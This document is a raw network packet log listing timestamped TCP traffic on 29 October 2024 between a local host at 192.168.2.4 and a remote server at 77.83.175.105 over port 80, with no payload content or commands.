Oct 29, 2024 04:17:22.254779100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254807949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254818916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254820108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254829884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254833937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254842043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254846096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254853010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254863977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254868031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254877090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254888058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254894018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254899979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.254911900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254923105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254944086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.254992008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255002975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255012989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255026102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255034924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255036116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255047083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255059004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255060911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255069971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255076885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255091906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255091906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255100965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255112886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255121946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255151987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255196095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255207062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255213022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255249977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255270004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255280972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255300045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255307913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255323887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255333900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255337954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255357981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255369902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255404949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255417109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255433083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255445004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255448103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255455971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255467892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255469084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255495071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255517960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255546093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255558968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255589008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255656004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255667925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255677938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255692005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255695105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255703926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255712986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255717993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255738974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255762100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255786896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255800009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255810022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255820990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255831003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255840063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255851984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255860090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255862951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255873919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255877018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255887032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255897999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255909920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255943060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.255973101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255981922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.255990982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256004095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256011963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256026983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256030083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256037951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256048918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256058931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256076097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256099939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256153107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256166935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256180048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256202936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256205082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256215096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256223917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256232977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256236076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256247044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256257057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256259918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256277084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256297112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256323099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256442070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256454945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256464958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256478071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256479025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256488085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256501913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256505966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256521940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256544113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256557941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256572962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256583929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256594896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256597042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256603956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256624937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256627083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256644964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256645918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256668091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256674051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256680012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256692886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256700039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256705046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256719112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256730080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256731033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256741047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256753922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256757975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256776094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256793022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256809950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256823063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256834030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256844997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256854057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256855011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256865025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256877899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256886959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256906986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256911993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256923914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256933928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.256956100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.256973028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257010937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257059097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257076025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257098913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257107973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257112026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257122040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257133007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257147074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257184982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257191896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257201910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257227898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257256031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257312059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257325888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257335901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257348061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257364988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257370949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257380009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257384062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257416964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.257947922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257958889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.257993937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.298602104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.298621893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.298639059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.298662901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.298696041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373255014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373522043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373547077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373558998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373569965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373581886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373594046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373598099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373605013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373616934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373629093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373641014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373653889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373656034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373665094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373677969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373682022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373694897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373703957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373718023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373718977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373728991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373739958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373747110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373752117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373769045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373771906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373783112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373795033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373795033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373806000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373811960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373816967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373826981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373828888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373842001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373852015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373852968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373866081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373877048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373877048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373888969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373893023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373914003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373920918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373924971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373935938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373945951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373954058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373965979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373972893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.373976946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.373989105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374000072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374001026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374016047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374039888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374042034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374051094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374073982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374073982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374084949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374095917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374097109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374111891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374119997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374129057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374130011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374141932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374147892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374154091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374180079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374231100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374242067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374264002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374285936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374315023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374332905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374344110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374353886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374363899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374375105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374387026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374389887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374402046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374408007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374411106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374429941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374449968 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374474049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374485016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374495983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374505043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374514103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374516010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374537945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374550104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374562979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374572992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374583960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374594927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374596119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374619007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374639034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374723911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374735117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374746084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374756098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374766111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374769926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374777079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374803066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374813080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374813080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374816895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374828100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374839067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374847889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374850035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374867916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374867916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374878883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374887943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374888897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374897003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374912977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374933958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.374969959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.374999046 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375015974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375029087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375051975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375056028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375063896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375066996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375097990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375102997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375111103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375121117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375130892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375149965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375159025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375160933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375171900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375186920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375197887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375211000 CET	80	49755	77.83.175.105	192.168.2.4
